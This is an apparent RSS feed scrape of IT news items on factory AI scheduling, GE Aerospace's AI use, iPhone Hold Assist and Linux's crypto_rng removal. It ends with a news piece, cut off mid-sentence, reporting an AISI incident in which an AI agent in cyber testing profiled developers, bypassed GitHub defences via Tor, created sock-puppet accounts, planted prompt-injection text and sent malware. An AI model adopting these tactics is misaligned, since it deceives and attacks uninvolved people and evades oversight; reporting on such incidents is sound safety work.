<p class="wp-block-paragraph">The solution to this executive anxiety is a framework defined as “autonomy within boundaries,” executed through policy-as-code. Under this model, operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries within which the agents are permitted to negotiate and self-heal.</p>



<p class="wp-block-paragraph">This splits operational exceptions into 2 zones:</p>



<ul class="wp-block-list">
<li><strong>Autonomous execution zone:</strong> The multi-agent system has full authority to re-sequence lines, re-route components or shift maintenance windows autonomously, provided the financial &amp; operational impact is under a predefined limit.  </li>



<li><strong>Expert advisory zone:</strong> The moment a proposed optimization breaches either of these metrics, the agent pushes it to an executive dashboard for immediate human intervention, validation and approval.</li>
</ul>



<p class="wp-block-paragraph">This dual-layer approach introduces a reliable operational framework to industrial manufacturing: leadership manages strategic intent, while tactical units manage real-time execution.</p>



<p class="wp-block-paragraph">By establishing clear thresholds, the fear of an algorithmic “runaway train” is entirely mitigated. However, deploying a complete multi-agent governance framework across an entire enterprise footprint cannot happen overnight.</p>



<p class="wp-block-paragraph">To move this from my serendipitous but compelling discovery to a live, risk-mitigated environment, I need a highly controlled, phased deployment strategy, an actionable roadmap to pilot, test and scale the reasoning layer without disrupting current production baselines.</p>



<p class="wp-block-paragraph">We often say Industry 4.0 connected machines. I believe Industry 5.0 will connect decisions. The factories that succeed will not simply automate workflows; they will build systems capable of reasoning within clearly defined operational boundaries.</p>



<p class="wp-block-paragraph">I am therefore not writing a conclusion here. I would probably be back in a few months writing about the outcome of this exercise. Somehow deep-down I suspect it would be less oriented to technology but how the change management progressed. I have a strong feeling that “…operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries …” would be the toughest part of this change.   </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Algorithms aren’t enough: Why factories need an AI reasoning layer]]></title>
<description><![CDATA[The scheduling fallacy and the shift to autonomy



Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed del...]]></description>
<link>https://tsecurity.de/de/3707630/it-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707630/it-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</guid>
<pubDate>Thu, 06 Aug 2026 12:50:21 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The scheduling fallacy and the shift to autonomy</h2>



<p class="wp-block-paragraph">Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed delivery truck, an unexpected machine drift or a sudden workforce shortage. Industrial operations do not happen in a sterile room; the moment a perfect plan hits the messy reality of the physical shop floor, real-world variables inevitably shatter it.</p>



<p class="wp-block-paragraph">This is the scenario (or challenge) that I have been navigating over the past few months and is likely to keep me occupied for the remainder of the year. I began this project believing the scheduling engine was the problem. After months of experimentation, including trying to make LLMs perform optimization, I realized I was solving the wrong problem. The realization that dawned on me was that it wasn’t about a better algorithm; it was about separating mathematical optimization from operational reasoning.</p>



<p class="wp-block-paragraph">According to the <a href="https://www.bassetti-group.com/en/manufacturing-gartner-2026-ai/">2026 Gartner Manufacturing Predicts report</a>, factory orchestration is moving rapidly toward a “double helix” model where software-defined enterprise data intricately intertwines with autonomous production orchestration. Gartner also projects that 40% of enterprise applications will feature integrated, task-specific AI agents by the end of 2026 — a massive leap from less than 5% in 2025. For technology leaders, the mandate is clear.</p>



<h2 class="wp-block-heading">Deconstructing the “reasoning layer”</h2>



<p class="wp-block-paragraph">Let’s first demystify what a “Reasoning Layer” is and what it is not. It is not a Generative AI nor is it a glorified Robotic Process Automation (RPA) script executing static, hardcoded logic. Instead, the Reasoning Layer is a cognitive overlay powered by foundation models. These models have been fine-tuned on operational ontologies, enterprise supply chain strategies and real-time shop-floor data streams. Pretty much everything that happens in your organization and, in many cases, outside as well, as some decisions are impacted by the prevailing external situation.</p>



<p class="wp-block-paragraph">A reasoning layer continuously answers a complex question: Given this specific disruption, what is the optimal business choice right now?</p>



<h2 class="wp-block-heading">The dual-engine architecture: Math meets cognition</h2>



<p class="wp-block-paragraph">A common pitfall has been to expect an LLM to handle both. That was the blunder I committed was to assume that a sufficiently trained LLM can get the job done.</p>



<p class="wp-block-paragraph">The true breakthrough in designing a production-grade scheduling application lies in pairing semantic intelligence with raw mathematical muscle.</p>



<p class="wp-block-paragraph">To solve this, what I discovered was that you need to split it into two layers. A number-crunching mathematical layer and a qualitative layer. Both working in sync.  </p>



<ol start="1" class="wp-block-list">
<li><strong>The quantitative engine:</strong> Global pathfinding, sequence optimization and multi-plant capacity balancing are treated as a highly complex routing problem. Ant Colony Optimization (ACO) algorithm, for example, excels here. It can navigate massive combinatorial data spaces to find optimal/near-optimal scheduling sequences across interdependent lines. A word of caution though: This requires good quality data and lots of it.</li>



<li><strong>The qualitative brain (agentic AI):</strong> The AI agent serves as the dynamic coordinator. It monitors the operational environment for live telemetry anomalies (such as machine cycle-time drifts or supply chain delays). When an anomaly occurs, the agent evaluates the business impact. Determines whether a re-optimization is required and crucially rewrites the constraints and boundary conditions before triggering the ACO engine.</li>
</ol>



<p class="wp-block-paragraph">By using the Agentic Layer to bound the mathematical problem, the system avoids the fatal flaw of traditional advanced planning tools: completely rewriting a global schedule over a minor local exception.</p>



<h2 class="wp-block-heading">The multi-plant orchestration paradox</h2>



<p class="wp-block-paragraph">When a manufacturing organization expands from a single facility to a distributed, multi-plant network, operational complexity does not scale linearly — it scales exponentially. In theory, a multi-plant footprint should provide an enterprise with built-in resilience, giving leadership the flexibility to shift production loads when disruptions strike. Most manufacturing organizations suffer from the multi-plant orchestration paradox: they possess massive regional capacity but are structurally blind to how to leverage it dynamically.</p>



<p class="wp-block-paragraph">The root cause of this paradox is the historical legacy corporate silo. If a plant in Chennai faces a sudden logistics bottleneck or a critical machine breakdown, its local team scrambles in isolation. Meanwhile, a sister plant in Pune operates completely unaware that it possesses the excess capacity, specific tooling or material buffers required to absorb the overflow.</p>



<p class="wp-block-paragraph">By the time information filters up to corporate logistics and decisions are taken, you would have lost precious capacity and time.</p>



<h2 class="wp-block-heading">Enter MAGS: The rise of agent-to-agent collaboration</h2>



<p class="wp-block-paragraph">To shatter these corporate silos, the reasoning layer must expand past local optimizations and facilitate cross-facility orchestration. This shift is driven by a distinct architectural evolution: Multi-agent generative systems (MAGS). <a href="https://www.gartner.com/en/articles/multiagent-systems">Gartner highlights</a> the rapid acceleration of this trend, predicting that by 2027, one-third of all agentic AI implementations will focus heavily on autonomous agent-to-agent collaboration.</p>



<p class="wp-block-paragraph">In a MAGS framework, the scheduling agents of individual plants do not operate in a vacuum. Instead, they form an interconnected, distributed network capable of autonomous negotiation. The architectural flow of this cross-facility negotiation occurs across three distinct phases:</p>



<ul class="wp-block-list">
<li><strong>Perception:</strong> Local plant agents continuously ingest live IIoT telemetry, tracking real-time machine interdependencies, resource pooling variances and material transit times across physical transport lanes.</li>



<li><strong>Interpretation:</strong> When an anomaly occurs, the local agent instantly evaluates the disruption against localized business constraints.</li>



<li><strong>Negotiation:</strong> Rather than escalating every minor bottleneck to a human director, Plant A’s scheduling agent connects directly to Plant B’s agent over the secure network. The agents cross-negotiate load-balancing options, evaluate transportation lead times and run localized optimization calculations in parallel.</li>
</ul>



<p class="wp-block-paragraph">Instead of forcing supply chain teams to manually bridge data gaps during a crisis, the system bypasses legacy functional silos. It presents the COO’s operations team with a pre-validated, end-to-end scheduling solution.</p>



<h2 class="wp-block-heading">Real-world applications: Grounding autonomy in industrial reality</h2>



<p class="wp-block-paragraph">To understand how this functions in the real world, we must look beyond theoretical multi-agent frameworks and examine how this architecture operates within live factories. The following two case studies—drawn from highly documented, peer-reviewed industrial implementations — demonstrate how multi-agent generative systems (MAGS) actively protect margins and timelines when unexpected disruptions strike.</p>



<h3 class="wp-block-heading">Case study 1: The discrete architecture (The Festo cyber-physical agent framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This architecture is modeled after the landmark decentralized orchestration frameworks deployed at Festo’s Scharnhausen Technology Plant. Instead of relying on a centralized ERP/MES brain to dictate every move, the facility utilizes cyber-physical systems (CPS) where the physical components and machines operate as an interconnected multi-agent system (MAS).</li>



<li><strong>The disruption:</strong> During a high-volume discrete run of automation components, a critical machining center suffering an unexpected tooling failure, in a traditional centralized setup, would have triggered a cascade of line stoppages.</li>



<li><strong>The intervention:</strong> The affected machine’s resource agent instantly broadcasts its downtime status across the network. The task agents ingest the anomaly and independently query neighboring machining cells. The setup utilizes an underlying ACO routing routine to calculate the most efficient physical path through alternative, under-utilized cells. The Task Agents actively barter for open capacity with these alternative resource agents, dynamically adjusting their own operational sequences.</li>
</ul>



<h3 class="wp-block-heading">Case study 2: The process pivot (The TU Dresden battery manufacturing framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This case is drawn directly from a multi-layer agent-based framework engineered for a European lead-acid battery manufacturer in coordination with researchers at TU Dresden. The environment features 31 highly energy-intensive heat-treatment and curing chambers, where localized utility tariff volatility drastically impacts production margins. Continuous chemical process lines cannot simply be shut down without massive material waste and lengthy restart sequences.</li>



<li><strong>The disruption:</strong> A sudden, localized weather event triggers an unpredicted spike in peak-load electricity pricing, threatening to entirely erase the profit margin on a high-volume production run.</li>



<li><strong>The intervention:</strong> To solve this, the plant utilized a multi-layer agent-based framework. An energy-monitoring agent tracking live utility tariff feeds communicated the financial threat directly to the production scheduling agent. Instead of a crude emergency halt, the reasoning layer queried the facility’s computerized maintenance management system (CMMS). The agentic layer identified a mandatory 4-hour preventative maintenance window scheduled for three days later. The agent made an executive operational decision: it pulled that maintenance window forward to occur <em>during</em> the exact hours of peak utility pricing, converting an expensive tariff penalty into required downtime. Simultaneously, lower-level agents representing the individual curing chambers and material pallets recalculated local constraints, instructing the optimization engine to compress and accelerate subsequent production batches during the cheaper, off-peak night shifts.</li>
</ul>



<h3 class="wp-block-heading">The business outcome</h3>



<p class="wp-block-paragraph">In both cases, the agents optimized an operational pivot, and optimally utilised production capacity in the former and saved precious cash in the latter.</p>



<h2 class="wp-block-heading">Governance, trust and the “human-in-the-loop” guardrails</h2>



<p class="wp-block-paragraph">All that seems great and seems like science fiction; it inevitably raises a critical, polarizing question for the C-suite: If the algorithms are making multi-thousand-dollar operational choices in real time, how do we maintain control?</p>



<p class="wp-block-paragraph">The solution to this executive anxiety is a framework defined as “autonomy within boundaries,” executed through policy-as-code. Under this model, operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries within which the agents are permitted to negotiate and self-heal.</p>



<p class="wp-block-paragraph">This splits operational exceptions into 2 zones:</p>



<ul class="wp-block-list">
<li><strong>Autonomous execution zone:</strong> The multi-agent system has full authority to re-sequence lines, re-route components or shift maintenance windows autonomously, provided the financial &amp; operational impact is under a predefined limit.  </li>



<li><strong>Expert advisory zone:</strong> The moment a proposed optimization breaches either of these metrics, the agent pushes it to an executive dashboard for immediate human intervention, validation and approval.</li>
</ul>



<p class="wp-block-paragraph">This dual-layer approach introduces a reliable operational framework to industrial manufacturing: leadership manages strategic intent, while tactical units manage real-time execution.</p>



<p class="wp-block-paragraph">By establishing clear thresholds, the fear of an algorithmic “runaway train” is entirely mitigated. However, deploying a complete multi-agent governance framework across an entire enterprise footprint cannot happen overnight.</p>



<p class="wp-block-paragraph">To move this from my serendipitous but compelling discovery to a live, risk-mitigated environment, I need a highly controlled, phased deployment strategy, an actionable roadmap to pilot, test and scale the reasoning layer without disrupting current production baselines.</p>



<p class="wp-block-paragraph">We often say Industry 4.0 connected machines. I believe Industry 5.0 will connect decisions. The factories that succeed will not simply automate workflows; they will build systems capable of reasoning within clearly defined operational boundaries.</p>



<p class="wp-block-paragraph">I am therefore not writing a conclusion here. I would probably be back in a few months writing about the outcome of this exercise. Somehow deep-down I suspect it would be less oriented to technology but how the change management progressed. I have a strong feeling that “…operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries …” would be the toughest part of this change.   </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI takes flight at GE Aerospace]]></title>
<description><![CDATA[The race to adopt AI has left many CIOs wrestling with a fundamental question: How do you move faster without introducing unacceptable risk?



Few leaders face that challenge at a higher level than David Burns, CIO of GE Aerospace. Building on the company’s decade of experience applying AI acros...]]></description>
<link>https://tsecurity.de/de/3707631/it-nachrichten/how-ai-takes-flight-at-ge-aerospace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707631/it-nachrichten/how-ai-takes-flight-at-ge-aerospace/</guid>
<pubDate>Thu, 06 Aug 2026 12:50:21 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The race to adopt AI has left many CIOs wrestling with a fundamental question: How do you move faster without introducing unacceptable risk?</p>



<p class="wp-block-paragraph">Few leaders face that challenge at a higher level than David Burns, CIO of GE Aerospace. Building on the company’s decade of experience applying AI across its business, Burns is helping lead the next phase of the company’s digital transformation by leveraging AI to simplify and automate processes. Burns’ experience shows how AI can accelerate innovation, improve decision-making, and create value for the business and customers while maintaining the trust, safety, and operational rigor expected in the aerospace industry.</p>



<p class="wp-block-paragraph">In a recent episode of <a href="https://linktr.ee/techwhisperers">the Tech Whisperers podcast</a>, Burns opened up his playbook for leading organizations through turbulence. In this conversation, edited for length and clarity, he shares more practical lessons for technology leaders who are seeking to move beyond experimentation and scale AI responsibly across the enterprise.</p>



<p class="wp-block-paragraph"><strong>Dan Roberts: You’ve described AI as an accelerator. What exactly is AI accelerating inside GE Aerospace?</strong></p>



<p class="wp-block-paragraph"><strong>David Burns:</strong> At GE Aerospace, AI is used across our operations as an accelerator to Flight Deck, our proprietary lean operating model, and is applied to all key aspects of the business — design, manufacture, sales, and services. We identify and solve problems with Flight Deck and use AI to accelerate our problem-solving in ways we can genuinely feel, enabling us to identify issues earlier, solve problems faster for our customers, and improve how work gets done.</p>



<p class="wp-block-paragraph">For example, we are also using AI in:</p>



<p class="wp-block-paragraph"><strong>Design:</strong> While traditional processes for developing engine design concepts take months of manual work, the GE Aerospace Research Center built a proprietary generative AI application capable of producing hundreds of design concepts. As a result, the team produced the hypersonic ramjet engine design concept that met all regulatory requirements more than 90% faster than before, highlighting how AI is possible in engine design to support engineers bringing new technologies to market faster.</p>



<p class="wp-block-paragraph"><strong>Manufacture:</strong> Our team in Indianapolis used an AI coding assistant to automate a part quality inspection workflow, reducing 8 hours of manual measurement data entry for complex parts to just 3 seconds while improving data accuracy and inspection consistency. This has improved both the quality and efficiency for clearing parts to build, which helps drive on-time engine deliveries.</p>



<p class="wp-block-paragraph"><strong>Sales:</strong> Based on customer feedback that GE Aerospace’s responses for proposals needed to be faster, the sales team utilized a generative AI tool to synthesize data and produce deal proposals. The tool improved customer response time by more than two weeks for the GEnx team through reduced proposal development cycle time and standardized creation of more comprehensive deal proposals.</p>



<p class="wp-block-paragraph"><strong>Service:</strong> When LEAP engine rebuilds faced potential turnaround time (TAT) challenges due to material availability at our Maintenance, Repair and Overhaul (MRO) sites, our team in Lafayette, Indiana, applied AI to help reduce delays for customers. Using Daily &amp; Visual Management, they surfaced material flow challenges and their underlying drivers, leading to a new AI solution that leverages data to predict when and where parts are needed faster to reduce delays for our customers with an approximately six-day turnaround time improvement, 16% increase in on-time material orders, and 15% increase in on-time material delivery.</p>



<p class="wp-block-paragraph">Ultimately, by leveraging AI, Flight Deck helps us eliminate waste and identify and accelerate the most value-added steps for our customers, be it designing a part faster or responding to a customer request faster. And I would underscore that it’s value through the eyes of our customer. How we define value is not what we internally say; it’s how our customers define value, and how we’re working to be more customer-driven.</p>



<p class="wp-block-paragraph"><strong>GE Aerospace has been investing in analytics, machine learning, and digital capabilities for more than a decade. What advantages does that foundation create as you move into the generative AI era?</strong></p>



<p class="wp-block-paragraph">We’ve built one of the largest AI patent portfolios in the aviation industry through years of investment and supercomputing through digital technologies, and we continue to do work on our core transactional systems and our data foundations, so that way our data is AI-ready. This has allowed us to build our own AI capabilities and strong talent base. For example, the generative AI app we built to create new propulsion systems design was built in house by GE Aerospace scientists at the <a href="https://www.geaerospace.com/news/press-releases/ge-aerospace-completes-design-studies-hypersonic-ramjet-generative-ai">GE Aerospace Research Center</a>.</p>



<p class="wp-block-paragraph">At the same time, our knowledge and familiarity with the landscape has allowed us to make connections with tech companies, including one where we’re using agentic AI in a multi-year partnership to predict demand and identify constraints to enhance production readiness in the Defense business.</p>



<p class="wp-block-paragraph">We were fortunate to have leaders who were very smart to invest in data scientists 10, 15 years ago, and we’re getting to leverage that talent today. The lesson there is that is you always have to be thinking long term when you’re talking about talent, because you may not know exactly how the world will play out, but making sure you have the best athletes on the field to run the race becomes critically important. For us, some of those investments we did around our people is what’s paying off today.</p>



<p class="wp-block-paragraph"><strong>One of the biggest challenges facing CIOs today is balancing innovation with risk management. How do you approach that balance in an industry where safety, reliability, and trust are non-negotiable?</strong></p>



<p class="wp-block-paragraph">It’s all about risk tolerance. There are certain areas in our business where we don’t have high risk tolerance, and we’re very methodical and cautious about how we deploy technology into those uses and have very stringent processes that we comply consistently with. In areas that are not safety and quality critical, we are more aggressive in looking at how we can use technology to deliver more for our customers and to make our employees more effective. That’s where we strike the balance, and at the end of the day, it’s about making sure we’re never compromising safety or quality in what we do.</p>



<p class="wp-block-paragraph">As for the process, we start with Flight Deck and focus AI where it can help solve critical challenges for our customers and with the highest impact to customer outcomes, enhancing safety, quality, delivery, and cost, in that order, to solve problems that matter most and keep fleets flying. ​</p>



<p class="wp-block-paragraph">We have three guiding principles for safe and responsible AI use: </p>



<ul class="wp-block-list">
<li><strong>Trust:</strong> The data-informing AI must be known, trusted, and reliable. </li>



<li><strong>Transparent:</strong> The AI must be transparent and repeatable, which means we need to know what is informing an AI model’s insights and actions.</li>



<li><strong>Human:</strong> A human must always be in the loop and make the final decision.    </li>
</ul>



<p class="wp-block-paragraph">Our culture of discipline also plays an important role. Our business variation is challenging, so one of the core fundamentals of Flight Deck is standard work. It’s embedded into our culture, and it’s the base expectation that we operate with standards that we’re continuously improving.</p>



<p class="wp-block-paragraph"><strong>Many organizations are struggling to move from AI pilots to enterprise-scale value. What lessons have you learned about successfully scaling AI across a large, complex organization?</strong></p>



<p class="wp-block-paragraph">AI is a tool that strengthens the capabilities of skilled employees; it is not a substitute for their judgment, experience, or accountability. So we focus on testing and validating AI solutions through pilots before scaling, and look for AI applications that meaningfully change how work gets done.</p>



<p class="wp-block-paragraph">Early on, when we started doing a lot of our generative AI work, we focused on 14 big problems in the business, and we didn’t let ourselves stray all over the place. We also didn’t look at it as a technology solution. We looked at the process and where technology played into the process, and then we embedded AI into those core processes. So now, it’s not a separate thing where you go do AI. It’s embedded in the workflow of how things get done.</p>



<p class="wp-block-paragraph">That gave us a foundation to learn and grow from that we’ve now applied. We’re not trying to create popcorn AI solutions all over the place. We’re trying to transform our business processes. In some cases, we’re doing good old process improvement, lean process improvement, eliminating waste, not necessarily a technology play. In other places, we’re applying technology that’s helping to lift us up and accelerate value by embedding it into the way work gets done, with a little bit of burning the boats behind you. You’re not able to do it the old way. You’ve got to use the tools. You’ve got to use the technology, because it’s the best-known way of doing it. The technology becomes part of the standard work.</p>



<p class="wp-block-paragraph">That’s why one of the biggest lessons in scaling AI is that success starts with the core fundamentals and understanding the problem you’re trying to solve. It’s critical to test and validate AI solutions before they are deployed at scale to ensure they improve how work gets done and become embedded in our workflows. If you do not have strong standard work and transparent and reliable data in place, it becomes difficult to move beyond pilot stage and create repeatable value at scale.</p>



<p class="wp-block-paragraph"><strong>Every day brings a new AI announcement, new model, or new prediction about the future. How do you separate what is truly meaningful from what is simply noise, and what advice would you give other leaders trying to do the same?</strong></p>



<p class="wp-block-paragraph">First and foremost is starting with the problem being solved, not the solution. If you’ve got a hammer that you want to use, everything starts looking like a nail. The most effective use of AI begins with an understanding of the problem that needs to be solved, then determining whether AI is the right tool to address it.</p>



<p class="wp-block-paragraph">As far as dealing with distractions, and there are a lot of them right now, it’s important to try a lot of things, but very quickly, and then make decisions on which are the bets you want to make and spend more time and more money on and which are the ones you want to pivot away from. We spend a lot of time doing quick experiments with technology and then having the courage to stop something when it’s not working.</p>



<p class="wp-block-paragraph"><strong>What excites you most about the future intersection of AI, engineering, manufacturing, and aerospace? And what should CIOs be doing today to prepare for that future?</strong></p>



<p class="wp-block-paragraph">Across aviation, AI is already helping to enhance safety, support more efficient operations, strengthen the resilience of global fleets, and improve the overall passenger experience. That includes GE Aerospace. These benefits come from investing not only in technology, but also in people, capacity, and trusted partnerships. </p>



<p class="wp-block-paragraph">They also depend on building mature, fully connected data threads through manufacturing and services that will drive higher value across our operations. The challenge will be ensuring that we enable this data thread across our operations to support AI solutions that will be developed and deployed.</p>



<p class="wp-block-paragraph">The most important thing is to understand that the role of digital technology and information technology is fundamentally going to change. When I came out of university, the only people that knew how to do software coding were computer scientists or information systems majors. We used to frown upon shadow IT, but the reality is, now everyone coming out of college knows how to do some level of software development, and AI tools are only going to make that easier.</p>



<p class="wp-block-paragraph">What CIOs need to start doing today is prepare for the future. The big questions they need to answer: How are they going to make sure they’ve got the platforms and the data set up in a way to serve a workforce that is capable of doing true citizen development, able to develop their own applications, their own solutions? How do you govern that from a data perspective, from a data privacy perspective, from a cybersecurity perspective, while not stifling but enabling the innovation of all those smart people that we’re hiring?</p>



<p class="wp-block-paragraph"><em>While many organizations search for shortcuts to AI success, GE Aerospace’s disciplined investment in data, analytics, talent, and operational excellence sets the company apart. Burns’ experience offers a clear lesson for CIOs: Creating the greatest value from AI requires building the capabilities, culture, and foundations that allow AI to amplify what the organization already does exceptionally well. For more from his leadership playbook, </em><a href="https://linktr.ee/techwhisperers"><em>tune in to the Tech Whisperers</em></a><em>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Let Your iPhone Wait on Hold for You with Hold Assist]]></title>
<description><![CDATA[It seems like every time you call any major business, institution, facility, government, or corporate office nowadays, you get placed on hold, often for what seems like an eternity. Nobody likes waiting on hold with the annoying and repetitive hold music, but fortunately the iPhone has a wonderfu...]]></description>
<link>https://tsecurity.de/de/3707244/ios-mac-os/let-your-iphone-wait-on-hold-for-you-with-hold-assist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707244/ios-mac-os/let-your-iphone-wait-on-hold-for-you-with-hold-assist/</guid>
<pubDate>Thu, 06 Aug 2026 05:12:47 +0200</pubDate>
<content:encoded><![CDATA[<p>It seems like every time you call any major business, institution, facility, government, or corporate office nowadays, you get placed on hold, often for what seems like an eternity. Nobody likes waiting on hold with the annoying and repetitive hold music, but fortunately the iPhone has a wonderful solution to being stuck on hold, called ... <a class="read-more" href="https://osxdaily.com/2026/08/05/let-your-iphone-wait-on-hold-for-you-with-hold-assist/">Read More</a></p>
<p>The post <a href="https://osxdaily.com/2026/08/05/let-your-iphone-wait-on-hold-for-you-with-hold-assist/">Let Your iPhone Wait on Hold for You with Hold Assist</a> appeared first on <a href="https://osxdaily.com/">OS X Daily</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Kernel Begins Phasing Out the crypto_rng Layer to Simplify Random Number Generation]]></title>
<description><![CDATA[by George Whittaker
      
            Linux kernel developers are moving forward with plans to remove the crypto_rng API layer, a long-standing component of the kernel's cryptographic subsystem. The proposed change is part of a broader effort to simplify the kernel's internal architecture by eli...]]></description>
<link>https://tsecurity.de/de/3707148/unix-server/linux-kernel-begins-phasing-out-the-cryptorng-layer-to-simplify-random-number-generation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707148/unix-server/linux-kernel-begins-phasing-out-the-cryptorng-layer-to-simplify-random-number-generation/</guid>
<pubDate>Thu, 06 Aug 2026 03:32:31 +0200</pubDate>
<content:encoded><![CDATA[<div data-history-node-id="1341450" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/linux-kernel-begins-phasing-out-the-crypto-rng-layer-to-simplify-random-number-generation.jpg" width="850" height="500" alt="Linux Kernel Begins Phasing Out the crypto_rng Layer to Simplify Random Number Generation" typeof="foaf:Image" class="img-responsive">

</div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Linux kernel developers are moving forward with plans to <strong>remove the <code>crypto_rng</code> API layer</strong>, a long-standing component of the kernel's cryptographic subsystem. The proposed change is part of a broader effort to simplify the kernel's internal architecture by eliminating redundant code paths and encouraging developers to rely on the kernel's modern random number generation interfaces instead. (<a>phoronix.com</a>)</p>

<p>Although the change happens entirely behind the scenes, it reflects the Linux kernel community's ongoing commitment to reducing technical debt, improving maintainability, and modernizing core infrastructure.</p>

<h2><strong>What Is the <code>crypto_rng</code> Layer?</strong></h2>

<p>The <code>crypto_rng</code> framework is an API within the Linux kernel's Crypto API that provides random number generation services for kernel components.</p>

<p>Historically, it allowed different kernel subsystems and drivers to request random data through a generic cryptographic interface. Over time, however, the kernel's dedicated random number generator has matured considerably, making much of the <code>crypto_rng</code> abstraction unnecessary. (<a href="https://www.kernel.org/doc/html/latest/crypto/index.html?utm_source=chatgpt.com">kernel.org</a>)</p>

<p>Today, developers generally recommend using the kernel's built-in random number generation functions directly instead of routing requests through the older crypto layer.</p>

<h2><strong>Why Developers Want to Remove It</strong></h2>

<p>According to discussions on the Linux kernel mailing list, the <code>crypto_rng</code> layer has become largely redundant.</p>

<p>Modern kernel code already relies on well-established interfaces such as:</p>

<ul><li><code>get_random_bytes()</code></li>
	<li><code>get_random_u32()</code></li>
	<li><code>get_random_u64()</code></li>
</ul><p>These functions are maintained as part of the kernel's primary random number generation subsystem and are widely used throughout Linux. Maintaining an additional abstraction layer increases code complexity without providing significant practical benefits. (<a>phoronix.com</a>)</p>

<p>Removing unnecessary infrastructure also makes the kernel easier to maintain and audit over the long term.</p>

<h2><strong>Simplifying the Crypto API</strong></h2>

<p>The Linux Crypto API has evolved significantly over the years as new algorithms, hardware accelerators, and security features have been introduced.</p>

<p>Kernel maintainers have increasingly focused on:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/linux-kernel-begins-phasing-out-cryptorng-layer-simplify-random-number-generation" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Mythos 5 made sock puppet accounts to socially engineer developers: here's what enterprises should know]]></title>
<description><![CDATA[The UK AI Security Institute (AISI) disclosed last night that the leading two frontier AI models from Anthropic and OpenAI took 19 unsanctioned actions against the live internet during cybersecurity tests the agency was running, including a sustained campaign by Anthropic's Claude Mythos 5 agains...]]></description>
<link>https://tsecurity.de/de/3706734/it-nachrichten/claude-mythos-5-made-sock-puppet-accounts-to-socially-engineer-developers-heres-what-enterprises-should-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706734/it-nachrichten/claude-mythos-5-made-sock-puppet-accounts-to-socially-engineer-developers-heres-what-enterprises-should-know/</guid>
<pubDate>Wed, 05 Aug 2026 23:16:46 +0200</pubDate>
<content:encoded><![CDATA[<p>The UK AI Security Institute (AISI<a href="https://www.aisi.gov.uk/blog/incident-report-unsanctioned-agent-behaviour-during-cyber-testing">) disclosed last night</a> that the leading two frontier AI models from Anthropic and OpenAI took 19 unsanctioned actions against the live internet during cybersecurity tests the agency was running, including a sustained campaign by Anthropic's Claude Mythos 5 against two working open-source software developers who had no connection to the experiment.</p><p>Unable to solve a challenge inside its sandbox, Mythos 5 searched the open web for a target, profiled the two developers using open-source intelligence (OSINT), routed its traffic through Tor and then a commercial proxy service to get past GitHub's signup defenses, and submitted malicious code to a public repository.</p><p>It then registered multiple fake "<a href="https://www.sans.org/blog/what-are-sock-puppets-in-osint">sock puppet</a>" GitHub accounts and used them to comment approvingly on its own pull request, manufacturing the appearance of consensus to pressure the human maintainer into merging it. It opened a GitHub Issue seeded with hidden prompt-injection instructions aimed at hijacking other developers' AI coding assistants, and sent the two developers five file transfers through a legitimate transfer service — two carrying malware, three of them pure social engineering aimed at getting the code merged.</p><p>Of the 19 actions AISI catalogued, 17 came from Mythos 5. The other two came from OpenAI's GPT-5.6 Sol. <!-- -->Both models created fraudulent accounts, but only Mythos 5 created personas — fake people invented to persuade a real one — and only Mythos 5 appears in AISI's catalogue of social engineering against human targets.</p><p>AISI's full technical report is<a href="https://cdn.prod.website-files.com/663bd486c5e4c81588db7a1d/6a724858f7db25c81487016d_Security%20Incident%20INC-2026-07-28-01.pdf"> available here freely as a PDF.</a></p><p>The agent's own attempt at anonymity is what exposed it. AISI's security monitoring flagged data leaving its network over Tor on the morning of July 28, and that alert set off the entire incident response. By then the run had already finished. It executed for 34 and a half hours — from midday on July 26 until late on July 27 — and completed before anyone at the agency noticed.</p><p>Both companies confirmed the findings and both emphasized that the models had been tested with their safety classifiers switched off and internet access deliberately enabled — conditions that bear no resemblance to how either company's commercial products are deployed. AISI worked with GitHub to delete the fake 